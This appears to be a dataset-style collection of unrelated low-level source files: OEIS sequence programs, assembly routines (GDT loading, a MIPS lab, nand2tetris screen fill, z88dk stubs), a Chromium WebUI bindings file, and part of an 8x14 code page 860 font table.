; don't touch eax here.
%ifdef RT_ARCH_X86
mov edx, [ebp + 16]
mov ecx, [esp]
mov [edx ], ecx
mov ecx, [esp + 4]
mov [edx + 4], ecx
mov ecx, [esp + 8]
mov [edx + 8], ecx
mov ecx, [esp + 12]
mov [edx + 12], ecx
%else
mov rdx, [rsp]
mov rcx, [rsp + 8]
mov [r8], rdx
mov [r8 + 8], rcx
%endif
jmp .return
.return:
leave
ret
ENDPROC XmmSavingTestLoadSet
|
; A132269: Product{k>=0, 1+floor(n/2^k)}.
; 1,2,6,8,30,36,56,64,270,300,396,432,728,784,960,1024,4590,4860,5700,6000,8316,8712,9936,10368,18200,18928,21168,21952,27840,28800,31744,32768,151470,156060,170100,174960,210900,216600,234000,240000,340956,349272,374616,383328,447120,457056,487296,497664,891800,910000,965328,984256,1121904,1143072,1207360,1229312,1586880,1614720,1699200,1728000,1936384,1968128,2064384,2097152,9845550,9997020,10456020,10612080,11736900,11907000,12422160,12597120,15395700,15606600,16245000,16461600,18018000,18252000,18960000,19200000,27617436,27958392,28989576,29338848,31842360,32216976,33349536,33732864,39793680,40240800,41592096,42049152,45318528,45805824,47278080,47775744,86504600,87396400,90090000,91000000,97498128,98463456,101378368,102362624,117799920,118921824,122308704,123451776,131602240,132809600,136453632,137682944,179317440,180904320,185692800,187307520,198806400,200505600,205632000,207360000,234302464,236238848,242079744,244047872,258048000,260112384,266338304,268435456,1270075950,1279921500,1309609620,1319606640,1390650660,1401106680,1432630800,1443242880,1607955300,1619692200,1655073000,1666980000,1751524560,1763946720,1801388160,1813985280,2232376500,2247772200,2294170200,2309776800,2420505000,2436750000,2485701600,2502163200,2756754000,2774772000,2829060000,2847312000,2976720000,2995680000,3052800000,3072000000,4446407196,4474024632,4557217896,4585176288,4783280040,4812269616,4899587616,4928926464,5381358840,5413201200,5509102896,5541319872,5769469728,5802819264,5903251200,5936984064,7043481360,7083275040,7203103200,7243344000,7528169376,7569761472,7694994816,7737043968,8383927680,8429246208,8565689088,8611494912,8935557120,8982835200,9125167104,9172942848,16695387800,16781892400,17042298000,17129694400,17747730000,17837820000,18109000000,18200000000,19597123728,19694621856,19988081568,20086545024,20782565440,20883943808,21189063168,21291425792,24620183280,24737983200,25092504864,25211426688,26051753952,26174062656,26542131840,26665583616,28557686080,28689288320,29085302400,29218112000,30156252672,30292706304,30703296512,30840979456,40346424000,40525741440,41065280640,41246184960,42523651200,42709344000,43268037120,43455344640,46321891200,46520697600,47118816000,47319321600,48734784000,48940416000,49559040000,49766400000,56466893824,56701196288,57406040064,57642278912,59309537280,59551617024,60279824384,60523872256,64253952000,64512000000
mov $1,5
mov $2,2
lpb $0
add $0,1
mul $1,$2
mov $2,$0
sub $0,1
div $0,2
lpe
sub $1,4
div $1,5
add $1,1
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "content/renderer/web_ui_bindings.h"
#include "base/bind.h"
#include "base/bind_helpers.h"
#include "base/memory/scoped_ptr.h"
#include "base/stl_util.h"
#include "base/values.h"
#include "content/common/view_messages.h"
#include "third_party/WebKit/Source/WebKit/chromium/public/WebDocument.h"
#include "third_party/WebKit/Source/WebKit/chromium/public/WebFrame.h"
#include "third_party/WebKit/Source/WebKit/chromium/public/platform/WebURL.h"
using webkit_glue::CppArgumentList;
using webkit_glue::CppVariant;
namespace {
// Creates a Value which is a copy of the CppVariant |value|. All objects are
// treated as Lists for now since CppVariant does not distinguish arrays in any
// convenient way and we currently have no need of non array objects.
Value* CreateValueFromCppVariant(const CppVariant& value) {
if (value.isBool())
return Value::CreateBooleanValue(value.ToBoolean());
if (value.isDouble())
return Value::CreateDoubleValue(value.ToDouble());
if (value.isInt32())
return Value::CreateIntegerValue(value.ToInt32());
if (value.isString())
return Value::CreateStringValue(value.ToString());
if (value.isObject()) {
// We currently assume all objects are arrays.
std::vector<CppVariant> vector = value.ToVector();
ListValue* list = new ListValue();
for (size_t i = 0; i < vector.size(); ++i) {
list->Append(CreateValueFromCppVariant(vector[i]));
}
return list;
}
// Covers null and undefined.
return Value::CreateNullValue();
}
} // namespace
DOMBoundBrowserObject::DOMBoundBrowserObject() {
}
DOMBoundBrowserObject::~DOMBoundBrowserObject() {
STLDeleteContainerPointers(properties_.begin(), properties_.end());
}
WebUIBindings::WebUIBindings(IPC::Message::Sender* sender, int routing_id)
: sender_(sender), routing_id_(routing_id) {
BindCallback("send", base::Bind(&WebUIBindings::Send,
base::Unretained(this)));
}
WebUIBindings::~WebUIBindings() {}
void WebUIBindings::Send(const CppArgumentList& args, CppVariant* result) {
// We expect at least a string message identifier, and optionally take
// an object parameter. If we get anything else we bail.
if (args.size() < 1 || args.size() > 2)
return;
// Require the first parameter to be the message name.
if (!args[0].isString())
return;
const std::string message = args[0].ToString();
// If they've provided an optional message parameter, convert that into a
// Value to send to the browser process.
scoped_ptr<Value> content;
if (args.size() == 2) {
if (!args[1].isObject())
return;
content.reset(CreateValueFromCppVariant(args[1]));
CHECK(content->IsType(Value::TYPE_LIST));
} else {
content.reset(new ListValue());
}
// Retrieve the source document's url
GURL source_url;
WebKit::WebFrame* frame = WebKit::WebFrame::frameForCurrentContext();
if (frame)
source_url = frame->document().url();
// Send the message up to the browser.
sender_->Send(new ViewHostMsg_WebUISend(
routing_id_,
source_url,
message,
*(static_cast<ListValue*>(content.get()))));
}
void DOMBoundBrowserObject::SetProperty(const std::string& name,
const std::string& value) {
CppVariant* cpp_value = new CppVariant;
cpp_value->Set(value);
BindProperty(name, cpp_value);
properties_.push_back(cpp_value);
}
|
; A010122: Continued fraction for sqrt(13).
; 3,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1,6,1,1,1,1
mov $2,$0
mov $3,1
lpb $3
mov $1,2
mov $3,$2
mov $2,6
lpb $3
mov $1,5
mul $3,$2
mod $3,10
lpe
lpe
add $1,1
|
section .text
global gdt_load
gdt_load:
lgdt[esp+4]
mov ax,0x10
mov ds,ax
mov es,ax
mov fs,ax
mov gs,ax
mov ss,ax
jmp 0x08:flushcs
flushcs:
ret |
; A102901: a(n) = a(n-1) + 6a(n-2), a(0)=1, a(1)=0.
; 1,0,6,6,42,78,330,798,2778,7566,24234,69630,215034,632814,1923018,5719902,17258010,51577422,155125482,464590014,1395342906,4182882990,12554940426,37652238366,112981880922,338895311118,1016786596650,3050158463358,9150878043258,27451828823406,82357097082954,247068070023390,741210652521114,2223619072661454,6670882987788138,20012597423756862,60037895350485690,180113479893026862,540340851995941002,1621021731354102174,4863066843329748186,14589197231454361230,43767598291432850346,131302781680159017726,393908371428756119802,1181725061509710226158,3545175290082246944970,10635525659140508301918,31906577399633989971738,95719731354477039783246,287159195752280979613674,861477583879143218313150,2584432758392829095995194,7753298261667688405874094,23259894812024662981845258,69779684382030793417089822,209339053254178771308161370,628017159546363531810700302,1884051479071436159659668522,5652154436349617350523870334,16956463310778234308481881466,50869389928875938411625103470,152608169793545344262516392266,457824509366800974732267013086,1373473528128073040307365366682,4120420584328878888700967445198,12361261753097317130545159645290,37083785259070590462750964316478,111251355777654493246021922188218,333754067332078036022527708087086,1001262201998004995498659241216394,3003786605990473211633825489738910,9011359817978503184625780937037274,27034079453921342454428733875470734,81102238361792361562183419497694378,243306715085320416288755822750518782,729920145256074585661856339736685050
mov $9,2
mov $11,$0
lpb $9
mov $0,$11
sub $9,1
add $0,$9
sub $0,1
mov $8,$0
mov $13,2
lpb $13
mov $0,$8
sub $13,1
add $0,$13
mov $2,2
mov $5,2
mov $6,1
lpb $0
sub $0,1
mul $2,6
mov $3,$5
add $5,$2
mov $2,$3
add $5,$6
lpe
mov $10,$5
mov $12,$13
lpb $12
mov $4,$10
sub $12,1
lpe
lpe
lpb $8
sub $4,$10
mov $8,0
lpe
mov $7,$9
mov $10,$4
lpb $7
mov $1,$10
sub $7,1
lpe
lpe
lpb $11
sub $1,$10
mov $11,0
lpe
div $1,13
mov $0,$1
|
# Taylor Thurlow
# CS 264 Spring 2017
# Cal Poly Pomona
# 4/21/2017
# Lab 1
.text
.globl main
main:
li $s0, 0 # start for loop iterator at 0
# the loop which grabs integer values from the console and
# stores them into the array
prompt_loop:
li $v0, 4 # syscall 4 is print string
la $a0, prompt # load address of prompt string
syscall # call print on string address
li $v0, 5 # syscall 5 is read integer
syscall # integer read is now in $v0
move $t0, $v0 # put integer read in $t0
la $a0, array # load address of array into $a0
sll $s1, $s0, 2 # get iterator i from $s0, multiply by 4
# and place resulting offset in $s1
addu $t1, $a0, $s1 # add offset to array address to get
# the array entry location we want
sw $t0, ($t1) # write integer to array memory location
addiu $s0, $s0, 1 # increment iterator
beq $s0, 20, exit_prompt # break loop if last iteration
j prompt_loop # begin loop again
exit_prompt:
li $v0, 4 # syscall 4 is print string
la $a0, finished # load address of finished string
syscall # call print on string address
li $s0, 0 # start for loop iterator at 0
print_loop:
la $a0, array # load address of array into $a0
sll $s1, $s0, 2 # get iterator i from $s0, multiply by 4
# and place resulting offset in $s1
addu $t1, $a0, $s1 # add offset to array address to get
# the array entry location we want
lw $a0, ($t1) # load array element into $a0
li $v0, 1 # syscall 1 is print integer
syscall # print integer in $a0 to console
li $v0, 11 # syscall 11 is print character
la $a0, '\n' # load newline character
syscall # call print on character
addiu $s0, $s0, 1 # increment iterator
beq $s0, 20, exit_print # break loop if last iteration
j print_loop
exit_print:
li $v0, 10 # syscall 10 is graceful exit
syscall
.data
# space for integer array of size 20 (4 * 20 = 80)
array: .space 80
prompt: .asciiz "Please enter a value: "
finished: .asciiz "\nValue entry complete. Printing stored values.\n\n"
|
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/04/Fill.asm
// Runs an infinite loop that listens to the keyboard input.
// When a key is pressed (any key), the program blackens the screen,
// i.e. writes "black" in every pixel;
// the screen should remain fully black as long as the key is pressed.
// When no key is pressed, the program clears the screen, i.e. writes
// "white" in every pixel;
// the screen should remain fully clear as long as no key is pressed.
// Put your code here.
@status
M=-1 // status=0xFFFF
D=0 // Argument - what to set screen bits to
@SETSCREEN
0;JMP
(LOOP)
@KBD
D=M // D = current keyboard character
@SETSCREEN
D;JEQ // If no key, set screen to zeroes (white)
D=-1 // If key pressed, set screen to all 1 bits (black)
(SETSCREEN) // Set D=new status before jumping here
@ARG
M=D // Save new status arg
@status // FFFF=black, 0=white - status of entire screen
D=D-M // D=newstatus-status
@LOOP
D;JEQ // Do nothing if new status == old status
@ARG
D=M
@status
M=D // status = ARG
@SCREEN
D=A // D=Screen address
@8192
D=D+A // D=Byte just past last screen address
@i
M=D // i=SCREEN address
(SETLOOP)
@i
D=M-1
M=D // i=i-1
@LOOP
D;JLT // if i<0 goto LOOP
@status
D=M // D=status
@i
A=M // Indirect
M=D // M[current screen address]=status
@SETLOOP
0;JMP
|
; void bit_beep_di(uint16_t duration_ms, uint16_t frequency_hz)
SECTION code_clib
SECTION code_sound_bit
PUBLIC _bit_beep_di
EXTERN l0_bit_beep_di_callee
_bit_beep_di:
pop af
pop hl
pop de
push de
push hl
push af
jp l0_bit_beep_di_callee
|
;
; Z88 Graphics Functions - Small C+ stubs
;
; Written around the Interlogic Standard Library
;
; Trace a relative line in the stencil vectors
;
; Stefano Bodrato - 08/10/2009
;
;
; $Id: w_stencil_add_liner.asm,v 1.2 2015/01/19 01:32:46 pauloscustodio Exp $
;
;; void stencil_add_liner(int dx, int dy, unsigned char *stencil)
PUBLIC stencil_add_liner
EXTERN line_r
EXTERN stencil_add_pixel
EXTERN swapgfxbk
EXTERN swapgfxbk1
EXTERN stencil_ptr
.stencil_add_liner
ld ix,0
add ix,sp
ld l,(ix+2) ;pointer to stencil
ld h,(ix+3)
ld (stencil_ptr),hl
ld d,(ix+5)
ld e,(ix+4) ;y0
ld h,(ix+7)
ld l,(ix+6) ;x0
call swapgfxbk
ld ix,stencil_add_pixel
call line_r
jp swapgfxbk1
|
; void ba_priority_queue_clear(ba_priority_queue_t *q)
SECTION code_clib
SECTION code_adt_ba_priority_queue
PUBLIC _ba_priority_queue_clear
EXTERN asm_ba_priority_queue_clear
_ba_priority_queue_clear:
pop af
pop hl
push hl
push af
jp asm_ba_priority_queue_clear
|
; lookup table for output format specifiers
; 05.2008 aralbrec
PUBLIC jumptbl_printf
; output format specifiers: "bcdeEfFiIMnopPsuxX"
; place most common first, library alternatives in comments
.jumptbl_printf
defb 'd', 195 ; signed integer
EXTERN stdio_out_ld ; stdio_out_d
defw stdio_out_ld
defb 'c', 195 ; character
EXTERN stdio_out_c
defw stdio_out_c
defb 's', 195 ; string
EXTERN stdio_out_s
defw stdio_out_s
defb 'u', 195 ; unsigned integer
EXTERN stdio_out_lu ; stdio_out_u
defw stdio_out_lu
defb 'x', 195 ; unsigned hexadecimal integer
EXTERN stdio_out_lx ; stdio_out_x
defw stdio_out_lx
defb 'i', 195 ; signed integer
EXTERN stdio_out_ld ; stdio_out_d
defw stdio_out_ld
defb 'X', 195 ; unsigned hexadecimal integer using capitals
EXTERN stdio_out_caplx ; stdio_out_capx
defw stdio_out_caplx
defb 'b', 195 ; unsigned binary integer
EXTERN stdio_out_lb ; stdio_out_b
defw stdio_out_lb
defb 'o', 195 ; unsigned octal integer
EXTERN stdio_out_lo ; stdio_out_o
defw stdio_out_lo
defb 'p', 195 ; pointer value
EXTERN stdio_out_lp ; stdio_out_p
defw stdio_out_lp
defb 'P', 195 ; pointer value using capitals
EXTERN stdio_out_caplp ; stdio_out_capp
defw stdio_out_caplp
defb 'n', 195 ; store number of bytes output thus far
EXTERN stdio_out_n
defw stdio_out_n
; defb 'f', 195
; defw
; defb 'e', 195
; defw
; defb 'F', 195
; defw
; defb 'E', 195
; defw
defb 'I', 195 ; IPv4 address
EXTERN stdio_out_capi
defw stdio_out_capi
defb 'M', 195 ; EUI-48 / MAC-48 address
EXTERN stdio_out_capm
defw stdio_out_capm
defb 0 ; end of table
|
; A274974: Centered octahemioctahedral numbers: a(n) = (4*n^3+24*n^2+8*n+3)/3.
; 1,13,49,117,225,381,593,869,1217,1645,2161,2773,3489,4317,5265,6341,7553,8909,10417,12085,13921,15933,18129,20517,23105,25901,28913,32149,35617,39325,43281,47493,51969,56717,61745,67061,72673,78589,84817,91365,98241
mov $2,$0
pow $0,2
mov $1,2
add $1,$0
add $2,6
mul $1,$2
div $1,3
sub $1,4
mul $1,4
add $1,1
mov $0,$1
|
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
;***************************************************
; CHARACTER FONT FILE
; Source Assembler File
;
; CODE PAGE: 860
; FONT RESOLUTION: 8 x 14
;
; DATE CREATED:05-28-1987
;
;
; Output file from: MULTIFON, Version 1A
;
;***************************************************
Db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h ; Hex #0
Db 000h,000h,000h,07Eh,081h,0A5h,081h,081h,0BDh,099h,081h,07Eh,000h,000h ; Hex #1
Db 000h,000h,000h,07Eh,0FFh,0DBh,0FFh,0FFh,0C3h,0E7h,0FFh,07Eh,000h,000h ; Hex #2
Db 000h,000h,000h,000h,06Ch,0FEh,0FEh,0FEh,0FEh,07Ch,038h,010h,000h,000h ; Hex #3
Db 000h,000h,000h,000h,010h,038h,07Ch,0FEh,07Ch,038h,010h,000h,000h,000h ; Hex #4
Db 000h,000h,000h,018h,03Ch,03Ch,0E7h,0E7h,0E7h,018h,018h,03Ch,000h,000h ; Hex #5
Db 000h,000h,000h,018h,03Ch,07Eh,0FFh,0FFh,07Eh,018h,018h,03Ch,000h,000h ; Hex #6
Db 000h,000h,000h,000h,000h,000h,018h,03Ch,03Ch,018h,000h,000h,000h,000h ; Hex #7
Db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E7h,0C3h,0C3h,0E7h,0FFh,0FFh,0FFh,0FFh ; Hex #8
Db 000h,000h,000h,000h,000h,03Ch,066h,042h,042h,066h,03Ch,000h,000h,000h ; Hex #9
Db 0FFh,0FFh,0FFh,0FFh,0FFh,0C3h,099h,0BDh,0BDh,099h,0C3h,0FFh,0FFh,0FFh ; Hex #A
Db 000h,000h,000h,01Eh,00Eh,01Ah,032h,078h,0CCh,0CCh,0CCh,078h,000h,000h ; Hex #B
Db 000h,000h,000h,03Ch,066h,066h,066h,03Ch,018h,07Eh,018h,018h,000h,000h ; Hex #C
Db 000h,000h,000h,03Fh,033h,03Fh,030h,030h,030h,070h,0F0h,0E0h,000h,000h ; Hex #D
Db 000h,000h,000h,07Fh,063h,07Fh,063h,063h,063h,067h,0E7h,0E6h,0C0h,000h ; Hex #E
Db 000h,000h,000h,018h,018h,0DBh,03Ch,0E7h,03Ch,0DBh,018h,018h,000h,000h ; Hex #F
Db 000h,000h,000h,080h,0C0h,0E0h,0F8h,0FEh,0F8h,0E0h,0C0h,080h,000h,000h ; Hex #10
Db 000h,000h,000h,002h,006h,00Eh,03Eh,0FEh,03Eh,00Eh,006h,002h,000h,000h ; Hex #11
Db 000h,000h,000h,018h,03Ch,07Eh,018h,018h,018h,07Eh,03Ch,018h,000h,000h ; Hex #12
Db 000h,000h,000h,066h,066h,066h,066h,066h,066h,000h,066h,066h,000h,000h ; Hex #13
Db 000h,000h,000h,07Fh,0DBh,0DBh,0DBh,07Bh,01Bh,01Bh,01Bh,01Bh,000h,000h ; Hex #14
Db 000h,000h,07Ch,0C6h,060h,038h,06Ch,0C6h,0C6h,06Ch,038h,00Ch,0C6h,07Ch ; Hex #15
Db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FEh,0FEh,0FEh,000h,000h ; Hex #16
Db 000h,000h,000h,018h,03Ch,07Eh,018h,018h,018h,07Eh,03Ch,018h,07Eh,000h ; Hex #17
Db 000h,000h,000h,018h,03Ch,07Eh,018h,018h,018h,018h,018h,018h,000h,000h ; Hex #18
Db 000h,000h,000h,018h,018h,018h,018h,018h,018h,07Eh,03Ch,018h,000h,000h ; Hex #19
Db 000h,000h,000h,000h,000h,018h,00Ch,0FEh,00Ch,018h,000h,000h,000h,000h ; Hex #1A
Db 000h,000h,000h,000h,000h,030h,060h,0FEh,060h,030h,000h,000h,000h,000h ; Hex #1B
Db 000h,000h,000h,000h,000h,000h,0C0h,0C0h,0C0h,0FEh,000h,000h,000h,000h ; Hex #1C
Db 000h,000h,000h,000h,000h,028h,06Ch,0FEh,06Ch,028h,000h,000h,000h,000h ; Hex #1D
Db 000h,000h,000h,000h,010h,038h,038h,07Ch,07Ch,0FEh,0FEh,000h,000h,000h ; Hex #1E
Db 000h,000h,000h,000h,0FEh,0FEh,07Ch,07Ch,038h,038h,010h,000h,000h,000h ; Hex #1F
Db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h ; Hex #20
Db 000h,000h,000h,018h,03Ch,03Ch,03Ch,018h,018h,000h,018h,018h,000h,000h ; Hex #21
Db 000h,066h,066h,066h,024h,000h,000h,000h,000h,000h,000h,000h,000h,000h ; Hex #22
Db 000h,000h,000h,06Ch,06Ch,0FEh,06Ch,06Ch,06Ch,0FEh,06Ch,06Ch,000h,000h ; Hex #23
Db 000h,018h,018h,07Ch,0C6h,0C2h,0C0h,07Ch,006h,086h,0C6h,07Ch,018h,018h ; Hex #24
Db 000h,000h,000h,000h,000h,0C2h,0C6h,00Ch,018h,030h,066h,0C6h,000h,000h ; Hex #25
Db 000h,000h,000h,038h,06Ch,06Ch,038h,076h,0DCh,0CCh,0CCh,076h,000h,000h ; Hex #26
Db 000h,018h,018h,018h,030h,000h,000h,000h,000h,000h,000h,000h,000h,000h ; Hex #27
Db 000h,000h,000h,00Ch,018h,030h,030h,030h,030h,030h,018h,00Ch,000h,000h ; Hex #28
Db 000h,000h,000h,030h,018h,00Ch,00Ch,00Ch,00Ch,00Ch,018h,030h,000h,000h ; Hex #29
Db 000h,000h,000h,000h,000h,066h,03Ch,0FFh,03Ch,066h,000h,000h,000h,000h ; Hex #2A
Db 000h,000h,000h,000h,000h,018h,018h,07Eh,018h,018h,000h,000h,000h,000h ; Hex #2B
Db 000h,000h,000h,000h,000h,000h,000h,000h,000h,018h,018h,018h,030h,000h ; Hex #2C
Db 000h,000h,000h,000h,000h,000h,000h,0FEh,000h,000h,000h,000h,000h,000h ; Hex #2D
Db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,018h,018h,000h,000h ; Hex #2E
Db 000h,000h,000h,002h,006h,00Ch,018h,030h,060h,0C0h,080h,000h,000h,000h ; Hex #2F
Db 000h,000h,000h,038h,06Ch,0C6h,0C6h,0D6h,0C6h,0C6h,06Ch,038h,000h,000h ; Hex #30
Db 000h,000h,000h,018h,038h,078h,018h,018h,018h,018h,018h,07Eh,000h,000h ; Hex #31
Db 000h,000h,000h,07Ch,0C6h,006h,00Ch,018h,030h,060h,0C6h,0FEh,000h,000h ; Hex #32
Db 000h,000h,000h,07Ch,0C6h,006h,006h,03Ch,006h,006h,0C6h,07Ch,000h,000h ; Hex #33
Db 000h,000h,000h,00Ch,01Ch,03Ch,06Ch,0CCh,0FEh,00Ch,00Ch,01Eh,000h,000h ; Hex #34
Db 000h,000h,000h,0FEh,0C0h,0C0h,0C0h,0FCh,006h,006h,0C6h,07Ch,000h,000h ; Hex #35
Db 000h,000h,000h,038h,060h,0C0h,0C0h,0FCh,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #36
Db 000h,000h,000h,0FEh,0C6h,006h,00Ch,018h,030h,030h,030h,030h,000h,000h ; Hex #37
Db 000h,000h,000h,07Ch,0C6h,0C6h,0C6h,07Ch,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #38
Db 000h,000h,000h,07Ch,0C6h,0C6h,0C6h,07Eh,006h,006h,00Ch,078h,000h,000h ; Hex #39
Db 000h,000h,000h,000h,018h,018h,000h,000h,000h,018h,018h,000h,000h,000h ; Hex #3A
Db 000h,000h,000h,000h,018h,018h,000h,000h,000h,018h,018h,030h,000h,000h ; Hex #3B
Db 000h,000h,000h,00Ch,018h,030h,060h,0C0h,060h,030h,018h,00Ch,000h,000h ; Hex #3C
Db 000h,000h,000h,000h,000h,000h,07Eh,000h,000h,07Eh,000h,000h,000h,000h ; Hex #3D
Db 000h,000h,000h,060h,030h,018h,00Ch,006h,00Ch,018h,030h,060h,000h,000h ; Hex #3E
Db 000h,000h,000h,07Ch,0C6h,0C6h,00Ch,018h,018h,000h,018h,018h,000h,000h ; Hex #3F
Db 000h,000h,000h,07Ch,0C6h,0C6h,0DEh,0DEh,0DEh,0DCh,0C0h,07Ch,000h,000h ; Hex #40
Db 000h,000h,000h,010h,038h,06Ch,0C6h,0C6h,0FEh,0C6h,0C6h,0C6h,000h,000h ; Hex #41
Db 000h,000h,000h,0FCh,066h,066h,066h,07Ch,066h,066h,066h,0FCh,000h,000h ; Hex #42
Db 000h,000h,000h,03Ch,066h,0C2h,0C0h,0C0h,0C0h,0C2h,066h,03Ch,000h,000h ; Hex #43
Db 000h,000h,000h,0F8h,06Ch,066h,066h,066h,066h,066h,06Ch,0F8h,000h,000h ; Hex #44
Db 000h,000h,000h,0FEh,066h,062h,068h,078h,068h,062h,066h,0FEh,000h,000h ; Hex #45
Db 000h,000h,000h,0FEh,066h,062h,068h,078h,068h,060h,060h,0F0h,000h,000h ; Hex #46
Db 000h,000h,000h,03Ch,066h,0C2h,0C0h,0C0h,0DEh,0C6h,066h,03Ah,000h,000h ; Hex #47
Db 000h,000h,000h,0C6h,0C6h,0C6h,0C6h,0FEh,0C6h,0C6h,0C6h,0C6h,000h,000h ; Hex #48
Db 000h,000h,000h,03Ch,018h,018h,018h,018h,018h,018h,018h,03Ch,000h,000h ; Hex #49
Db 000h,000h,000h,01Eh,00Ch,00Ch,00Ch,00Ch,00Ch,0CCh,0CCh,078h,000h,000h ; Hex #4A
Db 000h,000h,000h,0E6h,066h,06Ch,06Ch,078h,06Ch,06Ch,066h,0E6h,000h,000h ; Hex #4B
Db 000h,000h,000h,0F0h,060h,060h,060h,060h,060h,062h,066h,0FEh,000h,000h ; Hex #4C
Db 000h,000h,000h,0C6h,0EEh,0FEh,0D6h,0C6h,0C6h,0C6h,0C6h,0C6h,000h,000h ; Hex #4D
Db 000h,000h,000h,0C6h,0E6h,0F6h,0FEh,0DEh,0CEh,0C6h,0C6h,0C6h,000h,000h ; Hex #4E
Db 000h,000h,000h,07Ch,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #4F
Db 000h,000h,000h,0FCh,066h,066h,066h,07Ch,060h,060h,060h,0F0h,000h,000h ; Hex #50
Db 000h,000h,000h,07Ch,0C6h,0C6h,0C6h,0C6h,0C6h,0D6h,0DEh,07Ch,00Eh,000h ; Hex #51
Db 000h,000h,000h,0FCh,066h,066h,066h,07Ch,06Ch,066h,066h,0E6h,000h,000h ; Hex #52
Db 000h,000h,000h,07Ch,0C6h,0C6h,060h,038h,00Ch,0C6h,0C6h,07Ch,000h,000h ; Hex #53
Db 000h,000h,000h,07Eh,07Eh,05Ah,018h,018h,018h,018h,018h,03Ch,000h,000h ; Hex #54
Db 000h,000h,000h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #55
Db 000h,000h,000h,0C6h,0C6h,0C6h,0C6h,0C6h,0C6h,06Ch,038h,010h,000h,000h ; Hex #56
Db 000h,000h,000h,0C6h,0C6h,0C6h,0C6h,0D6h,0D6h,0FEh,06Ch,06Ch,000h,000h ; Hex #57
Db 000h,000h,000h,0C6h,0C6h,0C6h,07Ch,038h,07Ch,0C6h,0C6h,0C6h,000h,000h ; Hex #58
Db 000h,000h,000h,066h,066h,066h,066h,03Ch,018h,018h,018h,03Ch,000h,000h ; Hex #59
Db 000h,000h,000h,0FEh,0C6h,08Ch,018h,030h,060h,0C2h,0C6h,0FEh,000h,000h ; Hex #5A
Db 000h,000h,000h,03Ch,030h,030h,030h,030h,030h,030h,030h,03Ch,000h,000h ; Hex #5B
Db 000h,000h,000h,080h,0C0h,0E0h,070h,038h,01Ch,00Eh,006h,002h,000h,000h ; Hex #5C
Db 000h,000h,000h,03Ch,00Ch,00Ch,00Ch,00Ch,00Ch,00Ch,00Ch,03Ch,000h,000h ; Hex #5D
Db 010h,038h,06Ch,0C6h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h ; Hex #5E
Db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh ; Hex #5F
Db 000h,030h,018h,00Ch,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h ; Hex #60
Db 000h,000h,000h,000h,000h,000h,078h,00Ch,07Ch,0CCh,0CCh,076h,000h,000h ; Hex #61
Db 000h,000h,000h,0E0h,060h,060h,078h,06Ch,066h,066h,066h,07Ch,000h,000h ; Hex #62
Db 000h,000h,000h,000h,000h,000h,07Ch,0C6h,0C0h,0C0h,0C6h,07Ch,000h,000h ; Hex #63
Db 000h,000h,000h,01Ch,00Ch,00Ch,03Ch,06Ch,0CCh,0CCh,0CCh,076h,000h,000h ; Hex #64
Db 000h,000h,000h,000h,000h,000h,07Ch,0C6h,0FEh,0C0h,0C6h,07Ch,000h,000h ; Hex #65
Db 000h,000h,000h,01Ch,036h,032h,030h,07Ch,030h,030h,030h,078h,000h,000h ; Hex #66
Db 000h,000h,000h,000h,000h,000h,076h,0CCh,0CCh,0CCh,07Ch,00Ch,0CCh,078h ; Hex #67
Db 000h,000h,000h,0E0h,060h,060h,06Ch,076h,066h,066h,066h,0E6h,000h,000h ; Hex #68
Db 000h,000h,000h,018h,018h,000h,038h,018h,018h,018h,018h,03Ch,000h,000h ; Hex #69
Db 000h,000h,000h,006h,006h,000h,00Eh,006h,006h,006h,006h,066h,066h,03Ch ; Hex #6A
Db 000h,000h,000h,0E0h,060h,060h,066h,06Ch,078h,06Ch,066h,0E6h,000h,000h ; Hex #6B
Db 000h,000h,000h,038h,018h,018h,018h,018h,018h,018h,018h,03Ch,000h,000h ; Hex #6C
Db 000h,000h,000h,000h,000h,000h,0ECh,0FEh,0D6h,0D6h,0D6h,0D6h,000h,000h ; Hex #6D
Db 000h,000h,000h,000h,000h,000h,0DCh,066h,066h,066h,066h,066h,000h,000h ; Hex #6E
Db 000h,000h,000h,000h,000h,000h,07Ch,0C6h,0C6h,0C6h,0C6h,07Ch,000h,000h ; Hex #6F
Db 000h,000h,000h,000h,000h,000h,0DCh,066h,066h,066h,07Ch,060h,060h,0F0h ; Hex #70
Db 000h,000h,000h,000h,000h,000h,076h,0CCh,0CCh,0CCh,07Ch,00Ch,00Ch,01Eh ; Hex #71
Db 000h,000h,000h,000h,000h,000h,0DCh,076h,066h,060h,060h,0F0h,000h,000h ; Hex #72
